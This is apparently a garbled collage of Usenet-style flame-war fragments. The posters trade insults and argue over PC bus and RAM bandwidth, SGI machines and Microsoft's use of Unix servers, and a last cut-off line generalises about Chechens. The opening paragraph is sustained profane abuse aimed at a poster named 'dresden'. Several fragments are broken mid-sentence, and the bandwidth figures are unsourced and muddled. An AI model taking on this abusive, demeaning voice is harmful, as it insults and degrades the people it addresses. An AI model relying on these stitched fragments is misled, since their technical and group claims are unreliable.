Can you refute it with actual evidence?
I didnt think so dresden, because you NEVER can. You never back up your
claims, you are a liar, you are an idiot, you are a shitty web designer, you
are a downright awful programmer (giving you a huge benefite of the doubt
by calling you one at all), a horrid person, and a pathetic IT clown that
everyone constantly laughs at. Go put some more ram in my workstation,
bitch. And after, make me a fucking cup of coffee. You're almost qualified
to operate the machine all by yourself! For now just pour though.

Thats not what he said. You are twisting words and lying in order to appear

Huh? Show me a PC bus which can transfer 80Gb/second
sustained.
I don't think even PC main RAM can handle that let
alone the I/O bus...

Multiply that figure by about ten.
I think Intel is promising us that their new chipsets
will provide a RAM badwidth of a couple of gigabytes
per second. I've got a brochure here which shows an
SGI machine with 716GB/sec bandwidth.

As usual you're talking poop with absolutely no
links/references/anything to back it up with,

Yes. And based on the existance of Unix boxes at microsoft.com,
Microsoft believes this, too.

You're the one that argues that Microsoft doesn't need Unix to run
their websight, when each machine costs them a good $100,000 more
than if they were using their home grown LoseNT and Lose2000 shitholes.

Well, they speak Iczhkerian that's more like Turkish than Russian,
most of them are Muslims and an average Russian can easily detect an
